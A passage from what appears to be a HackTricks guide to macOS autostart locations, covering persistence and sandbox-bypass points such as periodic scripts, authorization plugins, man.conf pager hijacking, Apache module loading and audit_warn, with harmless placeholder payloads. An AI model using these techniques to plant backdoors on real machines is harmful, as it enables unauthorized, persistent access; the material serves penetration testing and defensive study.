%s", __PRETTY_FUNCTION__); [super stopAnimation]; } - (void)drawRect:(NSRect)rect { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); [super drawRect:rect]; } - (void)animateOneFrame { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); return; } - (BOOL)hasConfigureSheet { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); return NO; } - (NSWindow*)configureSheet { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); return nil; } __attribute__((constructor)) void custom(int argc, const char **argv) { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); } @end ``` ### ~~Preference Pane~~ {% hint style="danger" %} It doesn't look like this is working anymore. {% endhint %} Writeup: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/) * Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) * It needs a specific user action #### Location * **`/System/Library/PreferencePanes`** * **`/Library/PreferencePanes`** * **`~/Library/PreferencePanes`** #### Description It doesn't look like this is working anymore. ## Root Sandbox Bypass {% hint style="success" %} Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** being **root** and/or requiring other **weird conditions.** {% endhint %} ### Periodic Writeup: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/) * Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) * But you need to be root #### Location * `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` * Root required * **Trigger**: When the time comes * `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` * Root required * **Trigger**: When the time comes #### Description & Exploitation The periodic scripts (**`/etc/periodic`**) are executed because of the **launch daemons** configured in `/System/Library/LaunchDaemons/com.apple.periodic*`. Note that scripts stored in `/etc/periodic/` are **executed** as the **owner of the file,** so this won't work for a potential privilege escalation. {% code overflow="wrap" %} ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* -rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist -rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist -rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist # The scripts located in their locations ls -lR /etc/periodic total 0 drwxr-xr-x 11 root wheel 352 May 13 00:29 daily drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly /etc/periodic/daily: total 72 -rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps -rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs [...] /etc/periodic/monthly: total 24 -rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax -rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting -rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local /etc/periodic/weekly: total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` {% endcode %} There are other periodic scripts that will be executed indicated in **`/etc/defaults/periodic.conf`**: ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` If you manage to write any of the files `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` it will be **executed sooner or later**. ### PAM Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) * Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) * But you need to be root #### Location * Root always required #### Description & Exploitation As PAM is more focused in **persistence** and malware that on easy execution inside macOS, this blog won't give a detailed explanation, **read the writeups to understand this technique better**. ### Authorization Plugins Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) * Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) * But you need to be root and make extra configs #### Location * `/Library/Security/SecurityAgentPlugins/` * Root required * It's also needed to configure the authorization database to use the plugin #### Description & Exploitation You can create an authorization plugin that will be executed when a user logs in to maintain persistence. For more information about how to create one of these plugins check the previous writeups (and be careful, a poorly written one can lock you out and you will need to clean your mac from recovery mode). ### Man.conf Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/) * Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) * But you need to be root and the user must use man #### Location * **`/private/etc/man.conf`** * Root required * **`/private/etc/man.conf`**: Whenever man is used #### Description & Exploit The config file **`/private/etc/man.conf`** indicate the binary/script to use when opening man documentation files. So the path to the executable could be modified so anytime the user uses man to read some docs a backdoor is executed. For example set in **`/private/etc/man.conf`**: ``` MANPAGER /tmp/view ``` And then create `/tmp/view` as: ```bash #!/bin/zsh touch /tmp/manconf /usr/bin/less -s ``` ### Apache2 **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) * Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) * But you need to be root and apache needs to be running #### Location * **`/etc/apache2/httpd.conf`** * Root required * Trigger: When Apache2 is started #### Description & Exploit You can indicate in /etc/apache2/httpd.conf to load a module adding a line such as: {% code overflow="wrap" %} ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` {% endcode %} This way your compiled moduled will be loaded by Apache. The only thing is that either you need to **sign it with a valid Apple certificate**, or you need to **add a new trusted certificate** in the system and **sign it** with it. Then, if needed , to make sure the server will be started you could execute: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` Code example for the Dylb: ```objectivec #include #include __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { printf("[+] dylib constructor called from %s\n", argv[0]); syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` ### BSM audit framework Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/) * Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) * But you need to be root, auditd be running and cause a warning #### Location * **`/etc/security/audit_warn`** * Root required * **Trigger**: When auditd detects a warning #### Description & Exploit Whenever auditd detects a warning the script **`/etc/security/audit_warn`** is **executed**. So you could add your payload on it. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` You could force a warning with `sudo audit -n`. ### Startup Items {% hint style="danger" %} **This is deprecated, so nothing should be found in the following directories.** {% endhint %} A **StartupItem** is a **directory** that gets **placed** in one of these two folders. `/Library/StartupItems/` or `/System/Library/StartupItems/` After placing a new directory in one of these two locations, **two more items** need to be placed inside that directory. These two items are a **rc script** **and a plist** that holds a few settings. This plist must be called β€œ**StartupParameters.plist**”. {% tabs %} {% tab title="StartupParameters.plist" %} ```xml Description This is a description of this service OrderPreference None Provides superservicename ``` {% endtab %} {% tab title="superservicename" %} ```bash #!/bin/sh . /etc/rc.common StartService(){ touch /tmp/superservicestarted } StopService(){ rm /tmp/superservicestarted } RestartService(){ echo "Restarting" } RunService "$1" ``` {% endtab %} {% endtabs %} ### ~~emond~~ {% hint style="danger" %} I cannot find this component in my macOS so for more info check the writeup {% endhint %} Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) Apple introduced a logging mechanism called **emond**. It appears it was never fully developed, and development may have been **abandoned** by Apple for other mechanisms, but it remains **available**. This little-known service may **not be much use to a Mac admin**, but to a threat actor one very good reason would be to use it as a **persistence mechanism that most macOS admins probably wouldn't know** to look for. Detecting malicious use of emond shouldn't be difficult, as the System LaunchDaemon for the service looks for scripts to run in only one place: ```bash ls -l /private/var/db/emondClients ``` ### ~~XQuartz~~ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) #### Location * **`/opt/X11/etc/X11/xinit/privileged_startx.d`** * Root required * **Trigger**: With XQuartz #### Description & Exploit XQuartz is **no longer installed in macOS**, so if you want more info check the writeup. ### ~~kext~~ {% hint style="danger" %} It's so complicated to install kext even as root taht I won't consider this to escape from sandboxes or even for persistence (unless you have an exploit) {% endhint %} #### Location In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: * `/System/Library/Extensions` * KEXT files built into the OS X operating system. * `/Library/Extensions` * KEXT files installed by 3rd party software You can list currently loaded kext files with: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` For more information about [**kernel extensions check this section**](macos-security-and-privilege-escalation/mac-os-architecture#i-o-kit-drivers). ### ~~amstoold~~ Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) #### Location * **`/usr/local/bin/amstoold`** * Root required #### Description & Exploitation Apparently the `plist` from `/System/Library/LaunchAgents/com.apple.amstoold.plist` was using this binary while exposing a XPC service... the thing is that the binary didn't exist, so you could place something there and when the XPC service gets called your binary will be called. I can no longer find this in my macOS. ### ~~xsanctl~~ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) #### Location * **`/Library/Preferences/Xsan/.xsanrc`** * Root required * **Trigger**: When the service is run (rarely) #### Description & exploit Apparently it's not very common to run this script and I couldn't even find it in my macOS, so if you want more info check the writeup. ### ~~/etc/rc.common~~ {% hint style="danger" %} **This isn't working in modern MacOS versions** {% endhint %} It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: ```bash # # Common setup for startup scripts. # # Copyright 1998-2002 Apple Computer, Inc. # ###################### # Configure the shell # ###################### # # Be strict # #set -e set -u # # Set command search path # PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH # # Set the terminal mode # #if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then # TERM=$(tset - -Q); export TERM #fi ################### # Useful functions # ################### # # Determine if the network is up by looking for any non-loopback # internet network interfaces. # CheckForNetwork() { local test if [ -z "${NETWORKUP:=}" ]; then test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) if [ "${test}" -gt 0 ]; then NETWORKUP="-YES-" else NETWORKUP="-NO-" fi fi } alias ConsoleMessage=echo # # Process management # GetPID () { local program="$1" local pidfile="${PIDFILE:=/var/run/${program}.pid}" local pid="" if [ -f "${pidfile}" ]; then pid=$(head -1 "${pidfile}") if ! kill -0 "${pid}" 2> /dev/null; then echo "Bad pid file $pidfile; deleting." pid="" rm -f "${pidfile}" fi fi if [ -n "${pid}" ]; then echo "${pid}" return 0 else return 1 fi } # # Generic action handler # RunService () { case $1 in start ) StartService ;; stop ) StopService ;; restart) RestartService ;; * ) echo "$0: unknown argument: $1";; esac } ``` ## Persistence techniques and tools * [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) * [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - πŸŽ™οΈ Twitch πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).